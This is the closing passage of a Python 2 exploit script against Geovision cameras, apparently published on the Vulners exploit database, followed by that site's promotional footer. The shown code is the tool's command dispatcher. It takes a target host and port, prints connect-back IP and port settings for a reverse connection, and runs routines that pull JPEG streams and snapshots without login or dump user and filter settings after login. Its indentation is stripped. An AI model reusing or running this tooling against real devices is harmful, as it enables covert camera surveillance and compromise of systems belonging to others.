sys.exit(1)  
  
# Check if RHOST is valid IP or FQDN, get IP back  
rhost = Validate(verbose).Host(rhost)  
if not rhost:  
print "[!] Invalid RHOST"  
sys.exit(1)  
  
  
#  
# Validation done, start print out stuff to the user  
#  
if args.https:  
print "[i] HTTPS / SSL Mode Selected"  
print "[i] Remote target IP:",rhost  
print "[i] Remote target PORT:",rport  
if not args.geotoken and not args.dump and not args.deviceinfo:  
print "[i] Connect back IP:",lhost  
print "[i] Connect back PORT:",lport  
  
rhost = rhost + ':' + rport  
  
  
headers = {  
'Connection': 'close',  
'Content-Type' : 'application/x-www-form-urlencoded',  
'Accept' : 'gzip, deflate',  
'Accept-Language' : 'en-US,en;q=0.8',  
'Cache-Control' : 'max-age=0',  
'User-Agent':'Mozilla'  
}  
  
# Print Model and Firmware version  
Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()  
if deviceinfo:  
sys.exit(0)  
  
  
# Geovision token login within the function  
#  
if GEOtoken:  
Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).GeoToken():  
print "[!] Failed"  
sys.exit(1)  
else:  
sys.exit(0)  
  
  
if anonymous:  
if jpegstream:  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):  
print "[!] Failed"  
sys.exit(0)  
elif picturecatch:  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):  
print "[!] Failed"  
sys.exit(0)  
else:  
print "[!] Needed: --anonymous [--picturecatch | --jpegstream]"  
sys.exit(1)  
  
else:  
#  
# Geovision Login needed  
#  
if usersetting:  
if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).UserSetting(DumpSettings):  
print "[!] Failed"  
sys.exit(0)  
elif filtersetting:  
if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).FilterSetting():  
print "[!] Failed"  
sys.exit(0)  
elif jpegstream:  
if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):  
print "[!] Failed"  
sys.exit(0)  
elif picturecatch:  
if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():  
if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):  
print "[!] Failed"  
sys.exit(0)  
else:  
print "[!] Needed: --usersetting | --jpegstream | --picturecatch | --filtersetting"  
sys.exit(1)  
  
sys.exit(0)  
#  
# [EOF]  
#  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation